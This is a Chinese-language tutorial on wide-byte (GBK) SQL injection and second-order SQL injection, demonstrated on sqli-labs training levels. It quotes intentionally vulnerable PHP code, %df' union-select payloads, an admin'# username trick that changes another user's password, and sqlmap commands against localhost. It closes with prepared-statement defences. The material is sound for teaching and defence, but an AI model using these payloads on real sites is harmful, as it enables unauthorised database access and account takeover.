宽字节注入
前景
魔术引号
在一些低版本(php5.4以下)的php中会将魔术引号(magic_quotes_gpc()=on)打开。该函数会将一些特殊符号('、”、反斜杠、null字符(\0)
)进行转义,而在高版本的php中,因为魔术引号被弃用进而使用mysql_real_escape_string()、addlashes()
来对特殊字符进行转义,从而来预防sql注入。
注:魔术引号可以在低版本php.ini文件中找到
编码格式
宽字节是相对与ascii这样单字节而言的;像GB2312、GBK、GB18030
等这些都是宽字节,占用两个字节。GBK 是一种多字符的编码,通常来说,一个gbk编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。
注入原理
宽字节注入是指mysql数据库在使用宽字节(如:GBK)编码时,会认为两个字符串是一个汉字(前一个ascii码要大于128(如%df),才能得到汉字的范围),当输入单引号之后,会将其进行转义(在其前面加上反斜杠,之后变为\'
),反斜杠经过url编码变为%5c
,mysql的GBK编码,会认为%df%5c
是一个宽字节,从而变成一个汉字,导致单引号逃逸形成闭合,实现攻击
靶场演示
注入条件
- 数据库编码必须是gbk
- 写入到前一个字符串ascii码要大于128
代码分析
sql_labs第36关
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FF00">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
- 使用了
mysql_real_escape_string
对$id
进行了特殊字符的转义 mysql_query("SET NAMES gbk");
设置数据库为gbk编码- 以get形式传参
- 以上成功造成了宽字节注入,可以使用报错注入、联合注入、时间盲注、布尔盲注
漏洞利用
联合查询
?id=1%df' order by 3 --+
?id=-1%df' union select 1,2,3 --+
%df%27
会形成一个汉字,进而造成'
逃逸出来形成闭合
sqlmap
python sqlmap.py -u "http://127.0.0.1:81/sqli/Less-36/?id=1" --tamper=unmagicquotes --dbs --batch
or
python sqlmap.py -u "http://127.0.0.1:81/sqli/Less-36/?id=1%df' *" --dbs --batch
使用了unmagicquotes.py脚本,用于宽字节绕过
防范措施
防御
-
解决SQL注入最推荐的方法还是预处理+数据绑定。
-
数据库编码格式不使用宽字节编码
二次注入
原理
由于网站在用户输入数据时通过mysql_escape_string()、addlashes()等
对特殊字符进行\
转义,但是存入到数据库时又去除了反斜杠,当从数据库中调出时由于没有进行特殊符号的转义造成了单引号闭合,从而形成了注入
靶场演示
代码分析
文件的用途
login_create.php的部分代码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= @mysql_escape_string($_POST['username']) ;
$pass= @mysql_escape_string($_POST['password']);
$re_pass= @mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
echo $sql;
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
......?>
- 使用
mysql_escape_string
分别对username,password,re_password
进行转义,之后执行查询语句,若数据库没有相同的username并且·password,re_password
一致就会进行插入操作。当然转义出来的\
不会插入到数据库中
login.php
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
- 会对输入账号密码进行特殊符号的转义,绕过比较困难
pass_change.php
$username= $_SESSION["username"];
$curr_pass= @mysql_real_escape_string($_POST['current_password']);
$pass= @mysql_real_escape_string($_POST['password']);
$re_pass= @mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
- 发现username是通过
$_SESSION
来获取的并没有进行特殊符号的转义,而其他的current_password、password、re_password
是会进行转义的 - 对比
$pass与$re_pass
的之后,进行update更改操作
漏洞思路
明显的注入点是在更改密码的操作上,我们可以通过对username的控制来进行报错注入
- 首先注册一个用户,例如用户名:
admin'#
这个用户,虽然会对输入的用户进行进行转义,但是/
并不会写入到数据库中
- 使用该用户登录,修改该用户的密码,将该用户的密码修改为222222
但是发现admin' #
的密码并没有修改而是修改的admin的密码
原因:这是因为admin' #
的'
对sql语句形成了闭合#
注释掉了后面的内容,形成的sql语句如下,进而修改了用户:admin的密码
UPDATE users SET PASSWORD='$pass' where username='admin' # and password='$curr_pass'
漏洞利用:本来是准备使用报错注入的,结果发现这个数据库对用户名的长度是由限制的,我们无法创建一个满足报错注入的那么长的用户名,所以只能进行到这里了
修复措施
-
进行预处理来进行参数绑定从而更好的预防二次注入
-
另一个防御的点就是在输入输出前的sql语句执行前都对其进行过滤、转义